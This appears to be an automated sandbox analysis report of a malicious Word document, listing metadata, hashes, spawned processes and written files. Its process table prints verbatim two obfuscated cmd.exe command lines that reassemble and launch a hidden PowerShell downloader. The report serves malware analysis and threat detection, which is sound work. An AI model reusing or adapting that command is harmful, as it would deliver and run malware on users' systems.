File name: | EIN_300110.doc |
Full analysis: | https://app.any.run/tasks/dba3d290-0722-4949-b0ec-6c1ff93df555 |
Verdict: | Malicious activity |
Analysis date: | December 18, 2018, 09:41:16 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Dec 17 14:02:00 2018, Last Saved Time/Date: Mon Dec 17 14:02:00 2018, Number of Pages: 1, Number of Words: 4, Number of Characters: 23, Security: 0 |
MD5: | FB193036C1E48D7439A01341C1BAC218 |
SHA1: | 373D3FEEFD710B459C78FDC52CA09125A3058968 |
SHA256: | 6CEFCCCB04CB8279C8E526DF0493A652757070895024883A93CB0FD6A46EFFB1 |
SSDEEP: | 1536:i17ljmW9/bvFMhoQDt3vERKsnfJoX+a9Y:Ol/bvFiN0R |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | - |
---|---|
Subject: | - |
Author: | - |
Keywords: | - |
Comments: | - |
Template: | Normal.dotm |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:12:17 14:02:00 |
ModifyDate: | 2018:12:17 14:02:00 |
Pages: | 1 |
Words: | 4 |
Characters: | 23 |
Security: | None |
CodePage: | Windows Latin 1 (Western European) |
Company: | - |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 26 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: | - |
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3036 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\EIN_300110.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3672 | c:\RmbYTpSvXwYbNF\iOBiajwScRD\cGTFwOjbYZRBdE\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set t6=DWXzNnnuRqQhlaLripKI(H)S1:sJdt8eE@+M$f4m{v 7/jkYxg,wb0ycC'o};V-FGU=\.O&&for %I in (36,65,52,21,66,57,56,28,19,57,60,36,27,7,15,66,6,31,51,62,58,52,45,31,55,29,42,4,31,29,68,1,31,52,56,12,16,31,6,29,60,36,7,13,21,66,57,11,29,29,17,25,44,44,51,51,51,68,12,31,29,29,11,31,17,13,49,31,29,7,15,6,68,55,58,39,44,48,21,65,18,33,11,29,29,17,25,44,44,51,51,51,68,15,13,55,9,7,31,29,52,13,12,12,31,28,39,58,6,29,58,6,68,55,13,44,21,47,41,0,29,7,53,38,33,11,29,29,17,25,44,44,51,51,51,68,26,13,6,15,58,55,46,55,13,17,16,29,13,12,68,55,58,39,44,31,30,32,13,13,33,11,29,29,17,25,44,44,51,51,51,68,55,16,6,31,26,46,13,29,31,17,13,15,46,68,16,29,44,64,15,19,54,33,11,29,29,17,25,44,44,51,51,51,68,37,15,16,12,41,13,39,68,31,7,44,43,57,68,23,17,12,16,29,20,57,33,57,22,60,36,51,46,35,66,57,28,35,9,57,60,36,56,3,1,42,66,42,57,30,53,24,57,60,36,26,69,37,66,57,51,13,29,57,60,36,12,18,51,66,36,31,6,41,25,29,31,39,17,34,57,67,57,34,36,56,3,1,34,57,68,31,48,31,57,60,37,58,15,31,13,55,11,20,36,10,58,41,42,16,6,42,36,7,13,21,22,40,29,15,54,40,36,27,7,15,68,0,58,51,6,12,58,13,28,63,16,12,31,20,36,10,58,41,50,42,36,12,18,51,22,60,36,12,64,63,66,57,63,56,65,57,60,19,37,42,20,20,64,31,29,62,19,29,31,39,42,36,12,18,51,22,68,12,31,6,49,29,11,42,62,49,31,42,30,53,53,53,53,22,42,40,19,6,41,58,46,31,62,19,29,31,39,42,36,12,18,51,60,36,17,15,16,66,57,13,65,8,57,60,52,15,31,13,46,60,59,59,55,13,29,55,11,40,59,59,36,61,19,37,66,57,4,65,47,57,60,77)do set 4ZNn=!4ZNn!!t6:~%I,1!&&if %I equ 77 %CommonProgramW6432:~3,1%o%SystemRoot:~-2,1%e%APPDATA:~-7,1%she%TEMP:~-10,1%%LOCALAPPDATA:~-5,1% "!4ZNn:*4ZNn!=!"" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2140 | CmD /V/C"set t6=DWXzNnnuRqQhlaLripKI(H)S1:sJdt8eE@+M$f4m{v 7/jkYxg,wb0ycC'o};V-FGU=\.O&&for %I in (36,65,52,21,66,57,56,28,19,57,60,36,27,7,15,66,6,31,51,62,58,52,45,31,55,29,42,4,31,29,68,1,31,52,56,12,16,31,6,29,60,36,7,13,21,66,57,11,29,29,17,25,44,44,51,51,51,68,12,31,29,29,11,31,17,13,49,31,29,7,15,6,68,55,58,39,44,48,21,65,18,33,11,29,29,17,25,44,44,51,51,51,68,15,13,55,9,7,31,29,52,13,12,12,31,28,39,58,6,29,58,6,68,55,13,44,21,47,41,0,29,7,53,38,33,11,29,29,17,25,44,44,51,51,51,68,26,13,6,15,58,55,46,55,13,17,16,29,13,12,68,55,58,39,44,31,30,32,13,13,33,11,29,29,17,25,44,44,51,51,51,68,55,16,6,31,26,46,13,29,31,17,13,15,46,68,16,29,44,64,15,19,54,33,11,29,29,17,25,44,44,51,51,51,68,37,15,16,12,41,13,39,68,31,7,44,43,57,68,23,17,12,16,29,20,57,33,57,22,60,36,51,46,35,66,57,28,35,9,57,60,36,56,3,1,42,66,42,57,30,53,24,57,60,36,26,69,37,66,57,51,13,29,57,60,36,12,18,51,66,36,31,6,41,25,29,31,39,17,34,57,67,57,34,36,56,3,1,34,57,68,31,48,31,57,60,37,58,15,31,13,55,11,20,36,10,58,41,42,16,6,42,36,7,13,21,22,40,29,15,54,40,36,27,7,15,68,0,58,51,6,12,58,13,28,63,16,12,31,20,36,10,58,41,50,42,36,12,18,51,22,60,36,12,64,63,66,57,63,56,65,57,60,19,37,42,20,20,64,31,29,62,19,29,31,39,42,36,12,18,51,22,68,12,31,6,49,29,11,42,62,49,31,42,30,53,53,53,53,22,42,40,19,6,41,58,46,31,62,19,29,31,39,42,36,12,18,51,60,36,17,15,16,66,57,13,65,8,57,60,52,15,31,13,46,60,59,59,55,13,29,55,11,40,59,59,36,61,19,37,66,57,4,65,47,57,60,77)do set 4ZNn=!4ZNn!!t6:~%I,1!&&if %I equ 77 %CommonProgramW6432:~3,1%oweRsheLL "!4ZNn:*4ZNn!=!"" | C:\Windows\system32\cmd.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3036 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRA934.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3036 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\15B4395E.wmf | — | |
MD5:— | SHA256:— | |||
3036 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\17410D1C.wmf | — | |
MD5:— | SHA256:— | |||
3036 | WINWORD.EXE | C:\Users\admin\Desktop\~$N_300110.doc | pgc | |
MD5:D19CC073DC09C0FCE1FD11F9E4BA0865 | SHA256:BF20E9CA738988F75F061BB7E4077DBB79B546A930A64F8DA9EEE902D33E8B84 | |||
3036 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exd | tlb | |
MD5:2FC4445A2141ECB2D4E9314164F2026E | SHA256:EDD034D934AAF15CAB40205416EB4E6B61A85EF8D21018898294D3B189128828 | |||
3036 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:E67E764235172587645A0F2270DA6E31 | SHA256:F96B3B87B3201BCF2E901748D646CA996DA75457789ADB3D870957882F30AD3C | |||
3036 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1EC81C91.wmf | wmf | |
MD5:5C14E14543A35BA3A10CCC4B7EAC6C9F | SHA256:4CD2BC6A202193F061CB74F0B9A0AAADEA121D13F9AE38160C3CFEED929BA67D | |||
3036 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:71B956D80EC2E5A5D495C2036C6B4A6F | SHA256:6F25CE8F533563E6F4DC3ED16462269EAF2A2DCFD3C36CAE81EA826616DE8FD7 | |||
3036 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\EIN_300110.doc.LNK | lnk | |
MD5:0D0D09EAF8B398ECA47DDA259294C300 | SHA256:E5F902C6D8AA585A9DD3A5339A3FDE81FF45D575A0CBF365A00A860B86CDC85D | |||
3036 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\83305DC7.wmf | wmf | |
MD5:962537ABCA93607878768C7A38C27CF7 | SHA256:E1D3502749902D312524393455801D1884747C0A00E11B848D5937F67F24012B |